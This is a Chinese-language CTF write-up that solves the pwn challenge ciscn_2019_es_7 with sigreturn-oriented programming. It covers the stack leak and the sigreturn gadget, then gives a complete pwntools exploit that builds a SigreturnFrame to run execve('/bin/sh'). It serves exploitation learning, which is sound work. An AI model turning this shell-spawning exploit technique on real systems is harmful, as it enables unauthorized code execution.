一道SROP题,讲真我以前也没见过,昨晚现学了一点,整个机制没学明白,但是至少照猫画虎能把它做出来了。
这里放两个链接,一个是CTFwiki上的资料:SROP - CTF Wiki,另一个是一位大佬师傅关于SROP的原理的博客,让我受益匪浅: 好好说话之SROP_hollk的博客-CSDN博客
有大佬之前讲过原理我就不再献丑了,就题论题讲讲吧。
checksec一下,发现Canary和PIE都没开,进去之后发现有个sys_read和sys_write,这样我们有syscall来使用了。同时在gadget函数里面发现了mov rax 0xF;ret这样的指令,这个可以配合syscall指令执行系统调用sigreturn。
sigreturn会把栈上的数据pop给对应寄存器,这一点在上面两个链接中有讲,不再赘述。
思路是常规的:read有栈溢出可以把返回地址更改,write可以打印栈上数据,而打印0x20个字节之后的8个字节是一个栈上的地址,这个地址和我们read进来的东西的地址的偏移是固定的,因此我们也就确定了后来我们写进的“/bin/sh\x00”的地址
这里要注意一下上图,这题是没有leave指令的,也没有sub rsp 0x10;pop rbp——很奇怪对不对,我也不知道为什么(有无大佬解释一下?),所以构造payload的时候要注意一下。
返回地址我设为了0x4004F1的地方,跳过了push rbp(主要是没有pop rbp的东西,干脆咱们自己也别push了,不跳过改一改应该也行把......)第二轮我们得到了栈地址,直接构造Frame,再和"/bin/sh\x00"及返回地址一同输入过去就行了。
from pwn import *
context.terminal=['tmux','splitw','-h']
context(os='linux',arch='amd64')
#注意这里arch一定要设为amd64!SigreturnFrame在32位和64位下是不一样的
r=process('/home/wjc/Desktop/ciscn_2019_es_7')
#r=remote('node4.buuoj.cn',25398)
xor_rax=0x4004F1
sys_ret=0x400517
mov_rax_F_ret=0x4004DA
#gdb.attach(r,'b*0x400503')
r.send('/bin/sh\x00'+p64(0)+p64(xor_rax))
r.recv(0x20)
stack_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
exe_frame=SigreturnFrame()
exe_frame.rax=59
exe_frame.rdi=stack_addr-0x110
exe_frame.rsi=0
exe_frame.rdx=0
exe_frame.rsp=stack_addr
exe_frame.rip=sys_ret
payload='/bin/sh\x00'+p64(0)+p64(mov_rax_F_ret)+p64(sys_ret)+str(exe_frame)
print('stack_addr:',hex(stack_addr))
print('/bin/sh_addr:',hex(stack_addr-0x118))
#gdb.attach(r,'b*0x400503')
r.send(payload)
r.interactive()